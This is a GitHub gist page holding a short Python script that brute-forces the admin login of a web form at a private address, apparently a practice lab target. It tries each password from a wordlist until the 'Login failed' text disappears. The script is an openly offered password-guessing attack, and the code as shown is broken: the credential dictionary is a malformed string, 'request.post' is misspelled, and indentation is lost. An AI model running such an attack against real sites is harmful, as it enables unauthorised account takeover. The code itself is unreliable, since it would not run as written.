Skip to content

Instantly share code, notes, and snippets.

@caueb
Created February 16, 2022 23:39
Show Gist options
  • Save caueb/19c3a0aa09f5fa36217506e7eeab2c7f to your computer and use it in GitHub Desktop.
Save caueb/19c3a0aa09f5fa36217506e7eeab2c7f to your computer and use it in GitHub Desktop.
Basic login bruteforce using a provided wordlist.
#!/usr/bin/env python
import requests
target_url = "http://10.10.10.240/login.php"
data_dict = "{"username": "admin", "password": "", "Login": "submit"}"
with open("/home/kali/Desktop/passwords.txt", "r") as wordlist_file:
for line in wordlist_file:
word = line.strip()
data_dict["password"] = word
response = request.post(target_url, data=data_dict)
if "Login failed" not in response.content.decode():
print("[+] Got the password --> " + word)
exit()
print("[+] Reached end of line. Password not found.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment